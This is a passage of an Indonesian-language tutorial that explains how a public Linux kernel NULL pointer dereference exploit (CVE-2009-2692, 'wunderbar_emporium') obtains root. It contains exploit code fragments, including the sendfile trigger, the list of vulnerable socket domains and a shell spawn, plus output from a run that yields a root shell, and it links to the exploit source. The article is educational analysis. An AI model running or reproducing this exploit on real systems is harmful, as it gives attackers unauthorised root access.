1; } // Truncate input file to some large value ftruncate(in, getpagesize()); // sendfile() to trigger the bug. sendfile(out, in, NULL, getpagesize()); } ... Ada pendapat yang mengatakan bahwa "menemukan bug lebih sulit dibandingkan sekedar menulis eksploit", namun ada juga yang mengatakan bahwa "menulis eksploit (yang reliable) lebih rumit karena harus melewati beragam proteksi dari sistem dibandingkan menemukan bug yang hanya bermodalkan fuzzer". Well, saya tidak tahu mana yang benar namun tentu saja masing-masing ada tantangan tersendiri. Namun untuk bug kali ini para penulis eksploit tidak perlu bersusah payah karena dalam advisories-nya julien dan taviso sudah memberikan metode untuk men-trigger bug tersebut. Trigger diatas adalah implementasi dari advisories mereka. Dan domain yang akan diserang telah didefinisikan sebelumnya (bisa ditambahkan sendiri), /* Vulnerable Domain untuk kernel < 2.6.30-r5*/ const int domains[][3] = { {PF_APPLETALK, SOCK_DGRAM, 0 }, {PF_IPX, SOCK_DGRAM, 0 }, {PF_IRDA, SOCK_DGRAM, 0 }, {PF_X25, SOCK_DGRAM, 0 }, {PF_AX25, SOCK_DGRAM, 0 }, {PF_BLUETOOTH, SOCK_DGRAM, 0 }, {PF_PPPOX, SOCK_DGRAM, 0 }, {PF_IUCV, SOCK_STREAM, PF_IUCV }, {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP }, {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP }, {DOMAINS_STOP, 0, 0 } }; Tidak ada yang perlu dijelaskan lebih jauh disini. Sisa dari proses eksploit adalah membiarkan kernel masuk dalam perangkap NULL ptr dereference dan menjalankan beragam hal yang telah dipersiapkan diatas. Hasilnya: 1. Beragam modul LSM akan di-disable (diset 0). 2. Proses dari eksploit akan memiliki uid = 0 (root). Bagian akhir adalah tujuan dari semua ini, ... execl("/bin/sh", "/bin/sh", "-i", NULL); ... Dengan uid=0 kita akan membangkitkan program shell yang kemudian memberikan kita si cantik "r00tsh3ll". Berikut contohnya pada target SuSe Linux Enterprise 9 (default installation without hardening): cyberheb@SuSe:~/public_exploit/wunderbar_emporium> id uid=1001(cyberheb) gid=100(users) groups=10(wheel),100(users) cyberheb@SuSe:~/public_exploit/wunderbar_emporium> ./wunderbar_emporium.sh [+] MAPPED ZERO PAGE! [+] Resolved security_ops to 0xc03eb7a0 [+] Resolved sel_read_enforce to 0xc01c9a50 [+] got ring0! [+] detected 2.6 style 8k stacks [+] Disabled security of : nothing, what an insecure machine! [+] Got root! sh-2.05b# id uid=0(root) gid=0(root) groups=10(wheel),100(users) Inilah akhir dari proses local kernel eksploitation yang memanfaatkan NULL pointer deference. ===// Final Words \\=== Thanks untuk seorang rekan yang sering mengajak diskusi mengenai bagaimana 'internal eksploit' bekerja ketika suatu public eksploit dirilis sehingga menjadi bahan dasar ide pembuatan artikel ini (I know, won't say ur name ;) ). Artikel ini dibuat dengan harapan setelah membaca artikel ini maka para pembaca bisa memahami dengan jelas konsep dari bug NULL pointer dereference, mulai dari teori dasar hingga bagaimana proses eksploitasi bisa terjadi. So, as always, semoga bermanfaat! ===// Reference \\=== [1]. http://lwn.net/Articles/342330/ [2]. http://lwn.net/Articles/342420/ [3]. http://kernelbof.blogspot.com/ [4]. http://www.tldp.org/LDP/tlk/tlk.html [5]. http://www.google.com/search?hl=en&q=linux+null+pointer+dereference [6]. http://cansecwest.com/core05/memory_vulns_delalleau.pdf [7]. http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html [8]. http://en.wikipedia.org/wiki/Linux_Security_Modules [9]. http://lists.grok.org.uk/pipermail/full-disclosure/2009-July/069714.html [10]. http://mirror.celinuxforum.org/gitstat/commit-detail.php?commit=33dccbb050bbe35b88ca8cf1228dcf3e4d4b3554 [11]. http://article.gmane.org/gmane.linux.network/124939 [12]. http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html [13]. http://xorl.wordpress.com/2009/08/18/cve-2009-2692-linux-kernel-proto_ops-null-pointer-dereference/ [14]. http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz ===// Greetz \\=== ~ un-d34d: Kecoak Elektr0nik staff ~ alM0st dead: ind0nesian Undergr0und Community ~ and of c0urse...ECH0 staff for their contribution to community :)